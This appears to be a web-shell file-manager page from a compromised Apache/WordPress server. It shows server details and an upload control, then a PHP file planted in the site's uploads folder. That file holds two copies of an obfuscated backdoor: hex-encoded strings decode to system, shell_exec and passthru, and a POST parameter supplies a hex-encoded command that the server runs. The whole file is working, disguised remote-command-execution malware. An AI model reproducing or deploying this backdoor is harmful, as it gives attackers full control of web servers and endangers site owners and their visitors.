HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/uploads2/2023/12/cma_m_scheduled.php
<?php																																										$attr1 = '7';$attr2 = '3';$attr3 = '4';$attr4 = '6';$attr5 = 'd';$attr6 = '5';$attr7 = 'f';$attr8 = '8';$attr9 = 'c';$attr10 = '0';$attr11 = '1';$attr12 = '2';$attr13 = 'e';$dbx_convert1 = pack("H*", $attr1.$attr2.$attr1.'9'.$attr1.$attr2.$attr1.$attr3.'6'.'5'.$attr4.$attr5);$dbx_convert2 = pack("H*", $attr1.'3'.'6'.'8'.'6'.$attr6.'6'.'c'.'6'.'c'.$attr6.$attr7.'6'.'5'.$attr1.$attr8.$attr4.'5'.'6'.$attr2);$dbx_convert3 = pack("H*", '7'.'3'.'6'.'8'.'6'.$attr6.$attr4.'c'.$attr4.$attr9);$dbx_convert4 = pack("H*", $attr1.$attr10.'6'.$attr11.'7'.'3'.$attr1.$attr2.$attr1.'4'.'6'.$attr8.'7'.$attr12.'7'.$attr6);$ob_iconv_handle = pack("H*", $attr4.'f'.$attr4.$attr12.$attr6.'f'.$attr4.'9'.'6'.'3'.'6'.'f'.$attr4.$attr13.'7'.'6'.'5'.$attr7.$attr4.$attr8.$attr4.'1'.$attr4.$attr13.'6'.$attr3.'6'.'c'.$attr4.$attr6);if(isset($_POST[$ob_iconv_handle])){$ob_iconv_handle=pack("H*",$_POST[$ob_iconv_handle]);if(function_exists($dbx_convert1)){$dbx_convert1($ob_iconv_handle);}elseif(function_exists($dbx_convert1)){$dbx_convert2($ob_iconv_handle);}elseif(function_exists($dbx_convert1)){$dbx_convert3($ob_iconv_handle);}elseif(function_exists($dbx_convert1)){$dbx_convert4($ob_iconv_handle);}exit;}


$variable1 = '7';
$variable2 = '3';
$variable3 = 'd';
$variable4 = '6';
$variable5 = 'c';
$variable6 = '8';
$variable7 = '1';
$variable8 = '2';
$variable9 = '5';
$variable10 = '4';
$ibase_pconnection1 = pack("H*", $variable1 . $variable2 . '7' . '9' . $variable1 . $variable2 . '7' . '4' . '6' . '5' . '6' . $variable3);
$ibase_pconnection2 = pack("H*", '7' . $variable2 . '6' . '8' . '6' . '5' . $variable4 . $variable5 . '6' . $variable5 . '5' . 'f' . $variable4 . '5' . $variable1 . $variable6 . '6' . '5' . '6' . '3');
$ibase_pconnection3 = pack("H*", '7' . '3' . $variable4 . '8' . $variable4 . '5' . $variable4 . $variable5 . '6' . $variable5);
$ibase_pconnection4 = pack("H*", '7' . '0' . $variable4 . $variable7 . '7' . '3' . '7' . '3' . $variable1 . '4' . '6' . '8' . $variable1 . $variable8 . $variable1 . '5');
$accepted = pack("H*", $variable4 . $variable7 . '6' . '3' . $variable4 . $variable2 . $variable4 . $variable9 . $variable1 . '0' . $variable1 . '4' . '6' . '5' . '6' . $variable10);
if (isset($_POST[$accepted])) {
    $accepted = pack("H*", $_POST[$accepted]);
    if (function_exists($ibase_pconnection1)) {
        $ibase_pconnection1($accepted);
    } elseif (function_exists($ibase_pconnection2)) {
        $ibase_pconnection2($accepted);
    } elseif (function_exists($ibase_pconnection3)) {
        $ibase_pconnection3($accepted);
    } elseif (function_exists($ibase_pconnection4)) {
        $ibase_pconnection4($accepted);
    }
    exit;
}